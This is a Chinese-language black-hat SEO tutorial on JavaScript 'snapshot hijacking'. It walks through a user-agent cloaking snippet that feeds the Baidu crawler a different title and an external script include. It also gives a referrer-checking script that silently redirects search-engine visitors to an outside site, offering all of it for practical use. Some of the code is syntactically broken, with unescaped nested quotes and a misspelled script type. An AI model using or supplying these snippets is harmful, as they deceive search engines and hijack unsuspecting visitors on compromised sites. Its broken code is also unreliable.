黑帽SEO教程為html中的js跳轉url加密(附解密代碼)
.jpg)
通常我們看到的是php或者asp的快照劫持代碼,很多人對html的跳轉情有獨鐘,用js來實現是最合適不過的事情了,看完這篇文章,相信大家以后再遇到類似的劫持情況也就能輕松應對了,只不過是代碼加密而已。今天,樂天老師分享的內容為《黑帽SEO教程(javascript快照劫持跳轉代碼)》。希望對大家有所幫助。
一、unicode編碼
unicode編碼一般被黑帽SEO用來加密標題、關鍵詞和頁面描述,其實這種編碼加密很容易被看出來,站長之家等在線工具均可以進行解密加密。
二、瀏覽器訪問不劫持
如果想用戶從瀏覽器直接訪問該頁面,顯示原來的標題,并不顯示劫持后的標題的話,則需要使用一個js代碼。
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="標題"}</script>
三、引用js代碼
當我們在html中引用多個js時,可以直接使用<script type="text/javascirpt" src="網址/ xx.js"></script>,例如:
<script type="text/javascirpt" src="http://letianyun.cn/ xx.js"></script>
然后在js中采用if語句來判斷是用戶,還是搜索引擎蜘蛛,蜘蛛則顯示劫持頁面,用戶則進行跳轉。下面則為引用的js的全部代碼。
document.writeln("var s=document.referrer");
/*獲取當前網頁超鏈接的地址url,并把此url的值賦給s */
document.writeln("if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )");
/*這里的indexOf是一個方法 s.indexOf("baidu") 的意思是 獲取"baidu"在s中的下標 ,如果s中包含"baidu",就會得到一個int類型的數。
||是或的意思。
if()中的意思是:當前網頁的url地址包含baidu或sogou或soso或sm等的時候,繼續其他語句。*/
document.writeln("location.href="http://www.yetiskinlerchat.com/";");
/*這里的location.href= "/url"是當前頁面打開URL頁面,屬于本頁面跳轉。*/
引用的這篇文章寫得不錯,大家可以去看看,但實際操作過程中可能會遇到問題,有些解碼完全正確但是無法正常跳轉,如果使用不加密的<script type="text/javascirpt" src="網址/ xx.js"></script>代碼則可以很好完成劫持和跳轉。但有一些在線解密加密的網站還是非常有用的